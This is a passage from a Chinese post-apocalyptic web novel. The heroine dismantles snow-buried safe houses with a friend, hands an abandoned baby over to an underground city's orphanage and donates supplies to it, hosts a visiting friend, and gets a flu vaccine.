因为她最近经常和陆昼聊天，陆昼也知道了她要出去弄安全屋的事，便说他可以帮忙，拆安全屋是个大工程，秦小薇也就没有拒绝。 两人都是行动力很强的人，商量好要一起出去的事后，见第二天早上没下雪，就直接出发了。 见陆昼出门还带着拉布拉多，秦小薇有些惊讶：“你要带着香肠？” 陆昼：“它最近心情不太好，带它出去放松一下……” 拉布拉多精力非常旺盛，有时候陆昼没有时间，他爸妈得轮流遛它，才能消耗完它的精力，否则，它就会在家里跑酷。 像香肠这样热爱工作的e狗，一直让它在家待着，它心情不好也很正常…… 秦小薇揉了下拉布拉多的狗头，又给它喂了几块肉干。 出发之前他俩就研究过地图，特地挑了个附近没住人的地方。 到了地方后，陆昼从后备箱里搬下来两台电动扫雪机，拉布拉多则扑到了雪地里，在雪地上撒欢。 安全屋已经好几个月没住人了，这边也没有人过来扫雪，所有的安全屋都被掩埋在积雪之下，远远看着，就像是一座“雪山”。 秦小薇从后车厢里取出移动电源，连通电动扫雪机，就开始干活了。 这扫雪机还是陆昼和人借的，据说是某些技术人员利用手头上的材料手搓的…… 扫雪机的效率很高，他们推着扫雪机沿着安全屋走一圈，地上的积雪就被抛到几米外了，连腰都不用弯。 不过地上的积雪有些厚，他们来来回回跑了好几趟，被积雪掩盖的水泥地才“重见天日”。 等把一间安全屋附近的积雪清扫干净了，他们还得清理安全屋上的积雪，非常麻烦…… 可能是因为积雪太厚了，他们选中的第一间安全屋就被压塌了，秦小薇观察了一下，觉得把它拿回空间里，用锤子敲一敲，也能继续用，就没“放弃”这栋安全屋。 这里的积雪这么厚，安全屋几乎全被淹了，秦小薇觉得就算换一间，可能也是坏的，也得她修一修才能正常使用…… 秦小薇身上贴了不少暖宝宝，衣服穿得也很厚，手套里面还塞了暖手贴，但干了两个小时后，她依旧觉得自己的手脚都要冻僵了。 秦小薇：“早知道有今天，刚下雪的时候我就过来了，还省去了扫雪的步骤！” 陆昼：“太冷了，我们回车上暖和一会儿再继续！” 上车后，秦小薇摘掉了最外面那副手套，拿起保温杯，灌了一口热气腾腾的红糖姜茶暖身体。 秦小薇：“难怪巡逻队的队员会长冻疮，戴着手套干活真的太不方便了！” 薄手套还行，像她现在这样，戴两层厚厚的手套，真的非常影响活动，尤其是，他们还得拿着大扳手拆螺丝和钢板，干对手指灵活 度有要求的精细活…… 要不是时刻提醒自己在外面摘了手套，手会被冻伤，她差点没忍住把手套摘下来。 陆昼看着后座的拉布拉多直皱眉。 之前刚出来的时候，它还能在雪地里撒欢，但外面的温度实在是太低了，就算陆昼给它穿了厚厚的鹅绒背心和鞋子保暖，但玩了没多久，它依旧冻得直打哆嗦。 陆昼便让它进车里吹空调，外面温度太低，车身的保暖性一般，就算车里开着空调，温度也没比外面高多少，在车上待了大半个小时，它的牙齿还在打颤。 狗嘴颤得跟电动小马达似的…… 陆昼冲着秦小薇开口道：“让香肠进你的空间吧，外面太冷了！” 秦小薇点点头，她四处看了看，指着某处开口道：“你把车开到那边去，咱俩也进空间里暖暖！” 路上如果积雪太多，没有扫雪车开路，车辆根本没办法正常通行，所以他们选的这条路，是被扫雪车处理过的，附近虽然没有人住，但偶尔会有车辆通过。 秦小薇指的那个地方，刚好有一座“雪山”，能把他们的车挡住，就算车里的人一下子“消失”了，来往的司机也看不到。 陆昼点点头，把车子开了过去。 等陆昼停好了车，秦小薇还返回大马路上看了看，确定他们的吉普车完全被“雪山”遮住了，她才带着陆昼和狗进空间里。 一进空间，秦小薇就招呼陆昼坐下，她从空间里拿出一堆热气腾腾的食物：“吃点东西，暖暖身体……” 见拉布拉多依旧冷得直打哆嗦，秦小薇还给它倒了半碗热水。 朔月出发前就被秦小薇送进空间里了，她在外面干活，德牧就自己一只狗在农场里自娱自乐。 秦小薇进来后，它立刻跑了过来，见自己的小伙伴一直在打哆嗦，它还用脑袋拱了拱它。 看着它的模样，秦小薇皱了皱眉：“香肠不会冻出什么毛病吧？” 陆昼叉了一块炸虾球，一口吃了，闻言开口道：“它身上那件鹅绒服，比我身上这件还厚。” 秦小薇：“……”那应该是她多虑了！ 两人就着秦小薇之前煮的热奶茶，吃了些高热量的炸鸡块、炸鱼块、炸虾，等手脚都暖和了，才出去继续干活。 如此反复好几次，他们干了一整天，才拆了一间安全屋，另一间安全屋，他们只拆了一个门……出发之前，她还以为，一天就可以搞定所有的活！ 眼看着天快要黑了，秦小薇便提议回去，等明天再继续。 陆昼点头答应了。 回去的路上，秦小薇冲着陆昼开口道：“这活估计要好几天才能干完，你要是有工作，就不用过来了……我一个人就行！” 之前建安全屋的时候，秦小薇就参与了，就算时间过了很久，她依旧记得安全屋的大概结构，其实拆安全屋这活也不难，难的是清扫积雪，再加上天气太冷，手都被冻僵了…… 陆昼摇头：“我没有工作。” 秦小薇诧异地看了他一眼，真稀奇！这家伙今天都快冻感冒了，竟然还坚持和她一起出来干活？ 不过两个人干活，效率确实会高很多。 他“坚持”要帮忙，她也就没有拒绝。 至于麻烦了人家，觉得不好意思什么的……对象是陆昼的话，她根本不会产生这种想法！ 到家之后，秦小薇又煮了一锅她自己做的黑芝麻汤圆当晚饭。 至于汤圆的热量……外面的流感得到控制以后，她每天活动量都很大，体重正在逐步恢复，暂时不用担心长胖的问题！ 吃完汤圆后，秦小薇把煮好的狗饭倒进了朔月的饭盆里，她正准备去厨房里洗碗，就听到门外传来一群小朋友叽叽喳喳的喊声。 “薇薇姐姐，你在家吗？” “姐姐，快开门，我给你看个大宝贝！” “……” 秦小薇只能放下碗，过去开门。 门外除了和她关系比较好的双胞胎，还站着几个和他们年龄相仿男孩女孩。 她一打开大门，凌悦悦就小嘴叭叭道：“姐姐，我同学他爸爸送了他一条龙当生日礼物，但是鱼缸还没做好……能先放到你家泳池里游几圈吗？” 秦小薇差点以为自己听错了，她不确定道：“你们说的是鱼吧？” 凌耀耀摇头，一本正经地纠正道：“是一条龙，比我还长的龙！” 秦小薇的视线落在他们脚边的大纸箱上。 这双胞胎也不像是没常识的样子啊！难道是末世后物种变异了？ 她有些好奇，便放一群小家伙进屋了，等去了地下泳池，秦小薇才知道，他们嘴里的龙是一条长度超过一米五的遥控机械龙。 在遥控手柄的控制下，它可以前进、转弯、翻身。 它和神话故事里描述的龙一模一样，鹿角、蛇身、鱼鳞、鹰爪……不过是电力驱动的，鱼缸里还得安装磁力充电座，它才能一直运行。 秦小薇：这些有钱人可真会玩！都末世了，他们竟然还能弄出电子龙这种玩具！ 不过，看它的外形，和真的养了一条龙又有什么区别？ 还不用担心它的食物和排泄问题…… 秦小薇看得稀奇，陪着一群孩子，在泳池边上盯着泳池里面正在游泳的电子龙看了许久，直到接到了双胞胎妈妈的电话，才意识到，时间已经很晚了，小朋友们该回家睡觉了。 秦小薇找了条大浴巾，帮他们把机械龙身上的水擦干，重新装进箱子里。 见几个孩子力气都不大，抬着箱子的动作十分吃力，她还帮他们把箱子送回了家。 这几个孩子是同班同学，除了双胞胎之外，还有两人也住在别墅区，别墅区有人24小时巡逻，住户们还自费安了路灯，秦小薇也不担心他们的安全，便让他们自己回家了。 剩下的几个，都住附近的商品房，富人区这边一直有陌生人出入，担心几个孩子的安全，她是亲自送回家的。 几个孩子住得都不远，路上倒也没花费她太多时间。 几个孩子都很舍不得她家的大泳池，临别前，还和她约定，明天再过来玩遥控机械龙…… 第118章 第118章弃婴（双更合一）…… 第二天一早,秦小薇和陆昼继续出门拆安全屋，不过，陆昼今天是一个人出门的,并没有带狗。 秦小薇：“今天怎么没带香肠？” 陆昼笑了笑,脸上全是无奈：“我说带它出去玩雪,它就跑狗窝里装睡去了……” 想象了一下拉布拉多装睡的样子，秦小薇忍不住“哈哈哈”笑了起来：“看来昨天那趟给它留下心理阴影了！它以后应该不会再闹腾着要出去玩了吧？” 陆昼摇头：“早上我下楼的时候,它还叼着绳子要我出去遛它呢！” 秦小薇：“大型犬都是这样的,我家朔月虽然看着乖，但每天也要遛一两个小时……” 两人一边说着话,一边朝外面走去，等离开了地下城，他们就不聊天了——外面的温度实在是太低了,就算戴着口罩,秦小薇依旧觉得，说话的时候有冷风灌进嘴里，连带着身体的温度都降低了。 中午的时候,外面又开始下雪，因此他们今天只在外面待了一个上午。 这样的日子,一连过了好几天,不下雪的时候，秦小薇就和陆昼一起出门拆安全屋，下雪的时候,她就去健身房正常上班。 偶尔空闲的时候，她会用手机和还在地下城的同学“联络感情”。 可能是因为之前流感暴发的时候，秦小薇给不少校友和老师都弄了药，大家都知道秦小薇是有门路的,也记着她的好，见她主动找他们聊天，众人都非常热情。 短短几天，她就找到了好几个适合加入车队的校友、同学，不过，领队的人还是没什么头绪。 秦小薇和健身房的教练相处了这么久，把队伍交给她们带，她其实挺放心的，她还试探了一下几人的口风，但很可惜，因为健身房的福利待遇太好，她们根本就没有离开地下城的想法。 尤其是搜寻物资这种需要在外面冻好几个月的工作！ 秦小薇也只能继续寻摸人选…… 下午，她和陆昼从外面回来的时候，发现别墅区的入口处多了一辆医疗车，还有很多人在医疗车前面排队。 秦小薇：“那边在干什么？” 陆昼：“打流感疫苗。” 秦小薇的眼睛亮了：“地下城这么快就研究出流感疫苗了吗？” 陆昼摇头：“流感疫苗很早就有了，不过我们这边没有配套的生产线，又没有上面的支援，才没大规模推广流感疫苗……刚好上次从风城运回来一条疫苗的生产线，就直接投入使用了……” 虽然现在地下城流感的感染率已经得到了控制，但她还记得之前流感暴发的时候，健身房此起彼伏的咳嗽声，还有人直接发展成重症肺炎丢了命…… 秦小薇：“那我也过去排个队！” 说着，她就要往队尾跑，陆昼却直接抓住了她的手腕，拦住了她。 陆昼：“你等一段时间，去外面打吧！这边的疫苗是特供的，要钱，外面是免费的。” 秦小薇：“……” 她沉默了片刻，问他：“多少钱一针？” 陆昼：“三千。” 秦小薇：“两种疫苗有什么区别吗？” 陆昼：“就只有一条生产线，你觉得能有什么区别？” 秦小薇：“……”所以，他们这是花三千买提前打疫苗的特权？ 现在外面轻症的流感病人都好了，就只有一些重症的流感病人还躺在医院里，打疫苗这事儿其实也不着急，这特权她还是不要了！ 等外面免费的疫苗吧！ 秦小薇挣脱了他的手：“那算了，我回家吃饭了！” 她今天忽然想吃千层芝麻饼，上面撒满了芝麻，擀得不薄不厚，两面都脆脆的、里面又很松软的那种……到家后，秦小薇洗了手，就开始和面做千层饼。 她和了半盆面，烙饼的时候，一边烙一边吃，很快就吃饱了。 芝麻饼太香，朔月吃完了狗饭，还一直在她脚边转圈，讨芝麻饼吃，这东西比较油，秦小薇只给了它一小块。 做完了今天的晚饭，秦小薇又多烙了一些，准备用塑料袋装着放仓库里，留着之后慢慢吃，但盆里的面还没消耗完，门铃就被人按响了。 秦小薇打开监控看了看，果然，是隔壁的双胞胎和他们的同学。 已经过了好几天了，但这几个小朋友对遥控机械龙的热情还没消退，她白天不在家，他们就每天晚上过来，在她家的泳池里玩遥控龙。 秦小薇就刚开始那两天，因为感到新奇，看他们玩了一会儿，后面就搬了张摇椅，在岸上坐着，免得这群孩子掉水里溺水。 虽然泳池的深度并不深，但这群小朋友都还不满十岁，还是要注意点的…… 秦小薇过去开门，把人放进来。 秦小薇：“你们在客厅玩一会，我厨房里还有几张饼没烙完，你们等我几分钟……” 小朋友们有些活泼，可能是因为已经跟她混熟了，竟然一窝蜂跟着她去了厨房。 秦小薇：“你们离灶台远一点，小心被油溅到……” 凌悦悦眼神亮晶晶地看着不锈钢盆里正冒着热气的十几张千层芝麻饼：“姐姐，这些是给我们准备的吗？” 秦小薇：“……你们要吃吗？” 众人齐齐点头。 秦小薇只能把芝麻饼给他们分了。 秦小薇：“先去洗手……” “姐姐，好好吃！”一个小女孩吃得脚丫子都晃起来了，“姐姐，我爸爸妈妈说晚上过来接我，我今天我可以多玩一会！” “我爸爸妈妈也要过来……” “……” 秦小薇有些奇怪，以往都是她亲自把这些孩子送回去，今天，他们家长怎么都过来接人了？她很好奇，便问了出来。 凌悦悦：“他们都在大门那里排队打疫苗！” 秦小薇：“你们不用打吗？” 凌耀耀抢话道：“昨天学校里已经有医生给我们打过了。” 秦小薇：“你们在学校打疫苗，也是三千一针？” 几个孩子纷纷点头。 秦小薇：“……”看来富人区这边宰人不分大人小孩！ 几个孩子都以为，今天他们爸妈过来接他们，他们可以在秦小薇这里多玩一会，但事实却是，他们手上的煎饼还没吃完，有两个住得远的孩子的父母就过来把他们带回家了…… 孩子不愿意也没用，家长把孩子往腋下一夹，就把他们带走了。 成年人和小朋友的体力差距摆在那，就算他们再怎么扑腾，胳膊扭不过大腿，最后还是被抱走了。 说实话，这几天让秦小薇替他们带孩子，晚上还要把孩子们送回家，他们其实也挺不好意思的，所以家长们上门的时候，都提了礼物，还和她交换了联系方式…… 送走了剩下的小朋友后，秦小薇进空间里跑了几公里，又冲了个澡，就上床睡觉了。 第二天早上，秦小薇见同城APP上有人说外面雪停了，便约陆昼一起出门，但她刚打开院子的大门，就看到陆昼抱着一个小婴儿站在她家门口。 秦小薇：？？？ 她看着陆昼手里的孩子直皱眉：“陆昼，你还记得我们今天出去是要干什么的吧？你带个这么小的孩子，不怕他冻出毛病吗？” 陆昼无奈道：“这孩子是在你家门口捡的？” 秦小薇：？？？ 秦小薇：！！！ 陆昼继续解释：“我从后门出来的时候，她就躺在地上，脸都冻紫了，一直在哭……地上太凉，我就把她抱起来了。” 秦小薇拿出手机，翻了下昨晚的监控。 因为前几个月有住户自费安了路灯，所以就算地下城“熄灯”了，他们这片也不是全黑的，大门口要是有人路过，监控摄像头能拍得清清楚楚。 凌晨五点多的时候，一个穿着黑色长款棉袄、裹得严严实实的人影抱着孩子，停在她家门口，看身形，秦小薇觉得应该是个女人。 她把孩子放下就跑了……动作没有半点犹豫！ 秦小薇反复拉进度条，把这段监控看了好几遍。 但那人包裹得太严实了，就算门口安的是高清摄像头，依旧看不清她的脸。 秦小薇看着监控画面直皱眉：“陆昼，你能找到人，把孩子送回去吗？” 陆昼：“她丢孩子的动作那么利索，就算送回去了，她也可能再丢一次，残忍一点，把孩子直接弄死都有可能……你确定要找她的家人？” 秦小薇：“虎毒不食子，不会这么残忍吧？说不定是其他人背着孩子的爸妈偷偷扔的呢？还是找找吧！” 虽然她嘴上这么说，但她心里很清楚，事实大概率会像陆昼说的那样发展…… 秦小薇：“要是他们真的不要孩子，我们就把孩子送去孤儿院吧！” 地下城也是有孤儿院的，天灾之前，还时不时有社会上的爱心人士给孤儿院捐钱捐物，天灾之后，大家的日子都不好过，这种捐款少了很多，只能靠市政拨款，所以那些孤儿的日子，和之前相比差了很多。 但只要地下城的情况保持下去，孩子们在孤儿院也能有口饭吃，也能去上学…… 陆昼没有反驳她的提议：“那我们今天还出去吗？” 秦小薇看了眼皮肤都冻得青紫的孩子，伸手就要抱他：“先解决这个婴儿的事吧！外面太冷了，我先把他抱回屋里，你去找他的家人……” 陆昼把孩子递给她后，却没离开，而是绕过她径直进了屋。 进屋后陆昼就拿出手机，连着打了好几个电话。 他在地下城的能量确实很大，不过半个上午，他们就收到了扔孩子的那个女人的正面照片和详细身份信息。 那份文档非 常详细，连她每天在哪家超市买了什么都有记录。 她几个月前就和她前夫离婚了，孩子是她亲生的，才六个月大，小孩子就是个吞金兽，她一个失业的单亲母亲根本养不活，因为是个女儿，孩子的父亲和爷爷奶奶也不愿意管它，她爸妈都在高温的时候去世了，身边连个能帮衬她的长辈都没有。 知道别墅区这边都是有钱人，她才在网上花钱找人带她进富人区，她把孩子偷偷摸摸扔在秦小薇家门口，大概是希望秦小薇能收养她的孩子。 能住别墅区的，多养一个孩子，对他们来说应该也不算是太大的负担…… 至于为什么会选秦小薇家……可能是因为她家位置靠外，别墅区又一直有人巡逻，她不敢往里面跑？ 扔了孩子后，她上午还去超市抢了菜，在网上接了做手工活的散单，似乎丢了个孩子，对她来说并不是什么大事……甚至还有种丢了拖累的轻松感！ 秦小薇看着女人抢到菜后眼角笑出的褶子，忍不住叹了口气，这种情况，肯定不能把孩子送回去了！ 她也歇了联系小婴儿家人的心思。 秦小薇：“我再给她喂点奶粉，就把她送去孤儿院吧！” 陆昼之前囤货的时候，各种婴儿奶粉都囤了一些，小婴儿三四个小时就要喂一次奶，把她抱回来之后，她就饿得一直哭，却因为之前哭太久，连哭声都是哑的……秦小薇就给她冲一些奶粉。 由于没给婴儿冲过奶粉，教程都是她上网现搜的。 陆昼：“我送你。” 秦小薇轻轻应了一声。 出门的时候，她还把那罐没吃完的奶粉带上了，免得小宝宝去了孤儿院，没有口粮。 可能是因为陆昼提前打了电话，孤儿院的院长亲自接待了他们，给他们办了手续。 和地下城的其他建筑一样，孤儿院的房子也是方方正正的五层小楼，房子都是临街的，孤儿院里并没有额外的院子、活动室让里面的孩子活动。 可能是因为孩子的身量比较小，同样的房间，外面的公租房基本上都是四人间，孤儿院一间屋子却要塞八到十个小朋友。 且因为现在大环境不好，虽然地下城的出生率在持续下降，但送到这边的孩子却越来越多，虽然孤儿院有好几栋楼，但屋子依旧有点住不下，有些房间，一张单人床挤了两三个孩子…… 因为天天啃能量饼干、吃土豆大米，这些孩子都有些营养不良，看起来瘦瘦小小的。 院长是个看起来非常和蔼的中年女人，她把两人带到办公室里，给他们泡了茶，办手续的时候，她一直在和陆昼“诉苦”，说这里的孩子有多么多么不容易…… 说话的时候，她还在小心观察陆昼的脸色，姿态摆得非常低，秦小薇知道，院长是希望陆昼帮忙，让财政给他们孤儿院多拨点款…… 陆昼既没有答应也没有拒绝，他打了几句官腔，等手续办完了，就和秦小薇一起离开了。 回去的路上，秦小薇忽然冲着陆昼开口道：“我想给孩子们捐点牛奶和鸡蛋，你能不能帮我打个掩护？” 有农场的黑科技加持，生产鸡蛋牛奶的养鸡场和养牛场一天可以收好几波，就算她送半车出去，也很快就能补满库存…… 陆昼没有说她烂好心，只沉默地点点头。 第二天，他们出门的时候，陆昼换了辆卡车，等回来的时候，卡车里多了一车物资。 除了牛奶鸡蛋，秦小薇还给孩子们准备了一些御寒的棉花棉布和土豆西红柿白糖，反正都是工坊和黑土地生产的，她每天早晚去空间里转一圈，就能收获一大堆，不需要她亲自动手劳作，这些东西送出去，她也不心疼。 秦小薇上网查了下，得知一个小婴儿三四天就能吃掉一罐奶粉，她还往车厢里多放了几罐婴幼儿奶粉。 为了不引起其他人的注意，东西她是让陆昼操作、匿名捐赠的，她自己全程没露过面。 秦小薇原本以为，东西送出去就完了，但万万没想到，事情竟然还有后续。 两天后，她竟然从陆昼那里收到了孤儿院孩子们的“反馈”。 为了维护好和她这位捐赠人的关系，孤儿院的工作人员用手机录了一段长长的视频感谢她。 可能是因为不擅长面对镜头，大多数孩子的表情都有些局促，但工作人员问他们喜不喜欢她捐赠的东西的时候，他们眼里的欣喜和脸上的笑容是完全掩盖不住的…… 说实话，秦小薇虽然和隔壁几个小朋友处得不错，但那是因为他们家长和老师把他们教得很好，她和他们一起玩，也是因为他们都喜欢打游戏。 大部分时候，她还是更愿意和成年人打交道。 对于小朋友，她只能说是不讨厌也不喜欢。 但现在，看着视频中孩子们脸上的笑容，秦小薇只觉得自己的心都要化了。 以后可以多给他们送几次物资，反正那些菜吃不完也是喂鸡喂猪…… 秦小薇冲着陆昼开口道：“下次捐物资的时候，你和对方说一下，不用再搞这些了，我看小朋友们拍视频的时候挺拘谨的……” 陆昼：“不让拍视频，他们估计还会搞出别的花活……难得碰到你这么个冤大头，他们不想办法留住你，万一你把物资捐给别人了怎么办？” 秦小薇：“……” 秦小薇皱眉：“别墅区这边这么多有钱人，难道就没有其他人给孤儿院的孩子捐款捐物吗？” 她记得以前那些大老板，不都特别喜欢搞慈善吗？听说是可以减税…… 陆昼摇头：“你别看他们住在别墅区，家里还请了保镖，看着好像挺有派头的，但内里怎么样，只有他们自己知道……要不是市政扶持，很多工厂早就倒闭了！” 秦小薇：“……” 秦小薇觉得，这些人就算家里的工厂倒闭了，生活水平也就是从住别墅区变成了住富人区的商品房，毕竟破船还有三千钉呢！ 那些人家，随便一件首饰，就够普通人奋斗一辈子了！ 不过大环境不好，大家都忙着保自家员工的饭碗，自然也分不出心力去考虑其他人…… 一连往外跑了十来天，秦小薇终于凑够了自己需要的安全屋的数量。 因为大雪这些安全屋大多都被压塌了，拿回来之后，很多都得把变形的部分敲回去才能继续使用。 再加上之前住里面的人不注意卫生，不少屋子里都积了厚厚的泥垢。 秦小薇戴着乳胶手套，用了好几瓶清洁剂，废了三四把刷子，累得胳膊都抬不起来了，都没把它们刷干净。 她后面上网搜了教程，在电钻上面装上刷头，用小 苏打、肥皂水、清洁膏轮番上阵，连着忙活了好几天，才把它们弄干净。 她平时在家里也会做家务，但都是些轻巧活，从没一次洗过这么多东西……东西刷完之后，她觉得自己这一个月都不想做家务了！ 虽然安全屋不清洗，也能直接用，但它们装的东西都是新的、没开封的，直接拿来用，她觉得很膈应…… 连着干了好几天活后，秦小薇决定给自己放个假，躺在家里好好休息一天！ 上午，她正舒舒服服地躺在按摩椅上按摩放松，放在肚皮上的手机却忽然震动起来。 秦小薇举起手机看了看，肖琳琳在宿舍群里发了消息。 【肖琳琳：家人们，连着上了一百多天班，我终于可以休假了！】 【肖琳琳：足足有七天假期！】 【肖琳琳：我要来红浦区找你们！】 【肖琳琳：咱们之前去过的那家糖水店还在营业吗？我想去喝勾兑奶茶！】 【肖琳琳：还有范叔叔做的蘑菇炒肉，我也超级想念！】 …… 可能是因为放假太兴奋了，肖琳琳一口气在群里发了十几条消息。 好几个月没见到她了，一直在群里听她说江安区那边监狱的环境有多差多差，她甚至从狱警沦为“搬尸工”，天天和尸体打交道，秦小薇三人都很担心她。 听说她假期可以坐顺风车回来，三人都很高兴，范槿还发了一堆表情包刷屏。 【范槿：琳琳，你这次过来，打算在这边待几天啊？】 【肖琳琳：待七天！】 【范槿：那你住哪？你之前那张床位，已经被社区安排过来的人占了……】 【范槿：猫猫思考.gif】 【肖琳琳：我可以和你挤一挤吗？】 【肖琳琳：小猫撒娇.jpg】 第119章 第119章疫苗（双更合一）…… 【范槿：虽然我很想答应,但是我觉得以咱俩的体型，挤一张床半夜会掉下来……】 【范槿：婉拒了哈！】 【肖琳琳：大哭.jpg】 【段霞：琳琳，要不你自带被褥,来我家打地铺？我家只有我一个人住,地上还算宽敞！】 【秦小薇：琳琳,你来健身房住吧！办公室有一张折叠床，可以借你睡。】 秦小薇平时中午不回家,她在办公室里放了一张折叠床,要是店里没什么客人，她中午就会带着狗在折叠床上眯一会儿。 【肖琳琳：薇薇,还是你最靠谱！】 【肖琳琳：抱抱.jpg】 许久没见到肖琳琳了，知道她明天中午过来，第二天中午,秦小薇早早就和段霞、范槿去地下城的出入口接她。 范槿还带了相机,因为有宣传任务，等人的时候，她还抓着相机,找了许多角度，对着出入口的同事连着拍了十几张照片…… 但过了没多久,她就抱着相机,一脸不开心地回到两人身边。 见她表情气鼓鼓的，秦小薇忍不住问她：“饭饭，怎么了？” 范槿拍了拍斜挎在腰间的相机：“这里温度太低了,电池不顶用，相机自动关机了……我明天换块电池，再来拍吧！唉，明天动作得更快一点才行……” 外面温度太低,某些电子产品带出去之后电池经常“罢工”，时间长了，还会被冻坏，像是段霞这样经常带着手机出门的巡逻队成员，手机基本上都修过，而且坏的大多是电池。 范槿担心自己的宝贝相机也会步手机的后尘，在网上收了好几块电池备用。 三人在原地又等了一会儿，肖琳琳坐的大巴车才姗姗来迟，这是一趟专门来往红浦区和江安区运人的大巴车，车上挤满了人，车顶堆满了行李，车顶有一圈不锈钢钢管，钢管上也挂满了行李……大巴车的车身都快被大包小包的行李淹没了。 秦小薇十分怀疑，车身上挂了这么多行李，大巴车的后视镜还能不能正常使用…… 大巴车有点旧，看着有点像个身上挂满了行李，在风雪中踽踽独行的老人。 一旁的工作人员还在嘟囔：“这司机胆子也太大了！挂这么多东西，他不怕车子侧翻吗？” 如果现在外面还有交警，司机跑这一趟的工资，估计还不够他交罚款…… 虽然红浦区这边的流感已经得到了控制，但地下城的人口基数太大了，每天都有人因为各种各样的原因死亡。 这些人死后，他们空出来的床位，市政也没有空着，其他两座地下城有特殊贡献的普通人，可以申请搬过来，工作人员会择优录取。 虽然搬家很麻烦，但红浦区这边的住宿条件和各项福利都甩其他两个地下城好几条街，很多网友都在网上说，红浦区的地下城是宁市亲生的，另外两个地下城是后娘养的，爹不疼娘不爱…… 因此每次开放申请名额，都会有一堆人报名申请。 大巴车停稳之后，三人等了一会，肖琳琳才从车上挤下来，周围全是叽叽喳喳地吵嚷声。 “终于到了！以后我也是红浦区的人了！” “哎，我的行李呢！我记得之前是绑这里的！” “可能掉了？之前车子拐弯的时候，我看到一包行李掉下去了……” “那你当时怎么不说？” “我喊了啊！司机没理我！” “……” 肖琳琳挤出人群：“总算是到了，闷死我了！” 她和其他人不一样，就只带了一个背包，所以不用去车顶和车身找行李，下车后，她就和三人一起朝着地底深处走去。 秦小薇：“这趟车怎么塞了这么多人？” 大巴车里，基本上是三个人坐两个座位，座椅两旁的过道里也塞满了人……秦小薇觉得，如果这辆大巴车会说话，肯定会大喊“我要撑爆了”。 肖琳琳：“本来是两辆车，但另一辆车早上坏了，司机不愿意跑两趟，就只能塞一辆车里……你不知道，我们出发的时候，车子塞不下，司机还让我们去车顶抓着把手，说他开慢点，抓紧了不会掉的……” “这我们哪敢听他的？外面这么冷，手冻僵以后根本就使不上力，要是掉下来栽雪地里被雪埋了，后面折回去找都不一定能找到人……后面我们就往座位上挤一挤，一张座椅坐两个人，这才把人都塞进车里。” 可能是因为憋太久了，肖琳琳把她的话痨属性发挥了个十成十，一路上，嘴就没停过。 为了给她接风，秦小薇昨晚做晚饭的时候，多做了一些，放在饭盒里，早上带来了健身房。 段霞和范槿帮着肖琳琳把办公室收拾了一下，她们把办公室里一些用不上的杂物都搬去了储物间，让肖琳琳住得更舒服一些。 秦小薇则守在微波炉前，热她早上带过来的便当盒。 伴随着微波炉运行时的“嗡嗡”声，饭香和菜香很快充斥了整个办公室。 范槿猛吸几口食物的香气，她吞了吞口水：“这也太香了！” 秦小薇准备了三道菜，分别是卤肉、辣子鸡和西红柿炒蛋。 段霞和范槿也没空着手过来，范槿带了肖琳琳心心念念的炒蘑菇和香煎杏鲍菇片，段霞则带了一大袋葱香花卷，足有二十个！ 饭菜实在是太香了，饭菜热好之后，几人都顾不上聊天，纷纷埋头吃饭。 花卷口感松软，咀嚼的时候，还能尝到一股淡淡的咸香，几人一口花卷一口菜，吃得头都不抬。 一时间，屋里只能听到她们的咀嚼声…… 等吃了个七八分饱，她们才停下来聊天。 肖琳琳：“好久没吃到这么正常的饭菜了！我在江安区，连能量饼干都不管饱，黑市上的东西还贵得要死！要不是有薇薇接济的土豆玉米，我还得饿着肚子自费上班……” 范槿：“其实红浦区也差不多，不过市政给我们发了种子，超市的供应也放开了一些，主食吃不饱，我们还能吃菜……” 肖琳琳：“我想调回来了……别的我都能忍，但是吃不饱饭，真的太难受了！” 段霞：“估计有点难……目前只有调出去的，还没有调回来的！” 肖琳琳：“唉！要是红浦区这边也设个监狱就好了！” 吃完中饭后，四人又聊了一会，段霞和范槿就回去上班了。 秦小薇则牵着狗和肖琳琳出去逛了一会，散步消食。 她戴手套的时候，肖琳琳“咦”了一声：“薇薇，你也长冻疮了？” 秦小薇看了下自己的手，前段时间天天去外面拆安全屋，就算她一直没摘手套，但外面的温度实在是太低了，她的手和脚还是不可避免地冻得红肿。 不过她每天回来都会用热水泡手泡脚驱寒，涂冻疮膏，所以冻疮并不严重，只是有点红肿。 秦小薇轻轻应了一声。 肖琳琳提醒她：“薇薇，你这手可要好好保护，千万别弄破皮了……那种又痛又痒，还不能挠的滋味可不好受！” 因为长了冻疮，肖琳琳两只脚都肿起来了，连带着之前买的鞋子都穿不进去了，要是强行塞进去，一天下来，原本没长冻疮的地方还会被磨出血泡，晚上睡觉的时候又痛又痒，根本就睡不着！ 她连着涂了好几个月秦小薇给她准备的冻疮膏和凡士林，这才养好一些，但手指和脚趾依旧比以前粗 了一圈…… 见她语气认真，秦小薇点了点头：“放心，我这几天一直在涂护手霜，出门也戴着手套。” 下午的时候，肖琳琳没有出去，一直留在健身房帮着招待客人，时不时和其他人聊几句，她和教练们都很熟悉，就算好几个月没见，她们相处起来，也一点都不拘谨。 傍晚五点多的时候，商业街的街尾来了一辆电车，有几个穿着护士服的男男女女从车上搬了些桌椅和箱子下来。 等他们收拾好了，街尾就响起一阵喇叭声，提醒居民可以过去打免费的流感疫苗。 自从上次在别墅区外面看到了打疫苗的摊子，秦小薇就一直惦记着这事儿，不过一直没听到什么风声，她也只能继续等着…… 健身房离得近，秦小薇一听到外面的喇叭声，就招呼员工们先把手上的活放一放，只留一两个人看店，先拿身份证过去登记打疫苗。 免得后面人多了，要排长队，毕竟附近的人口还是挺密集的！ 流感暴发才过去不久，店里其他人不像秦小薇可以躲在富人区，手上各种药也不缺，很多客人都经历过流感暴发时弄不到药、只能躺在家里硬熬的绝望。 听到大喇叭的内容后，她们也没抱怨教练忽然中断了课程。 有些随身带着身份证的，套上衣服就和教练一起出去排队；没带证件的，则直接中断了课程，和教练约好了下次上课的时间，急匆匆跑回家拿证件去了…… 秦小薇和肖琳琳出来得早，前面就只排了十几个人。 外面温度低，前面还剩三四个人的时候，两人才脱了外套和毛衣，把上臂露出来准备打针。 地下城的住户已经习惯了领物资之前先登记身份信息，过来给他们打疫苗的护士也都是熟手，双方都很熟悉流程，所以队伍的前进速度非常快。 单手给针头排气、消毒、打针…… 护士让秦小薇用棉签按住针孔，飞快说了句：“按五分钟，下一个！” 有些人受不了外面的低温，胳膊上已经冻出了一层鸡皮疙瘩，他们觉得针孔也流不了多少血，胡乱按了几十秒，就把手上的棉签扔了，套上衣服，融入人群中…… 秦小薇也冷，她和肖琳琳按着针孔，拖着还挂在另一边胳膊上的衣服，飞快跑回了健身房，换还留在店里的两人去打疫苗。 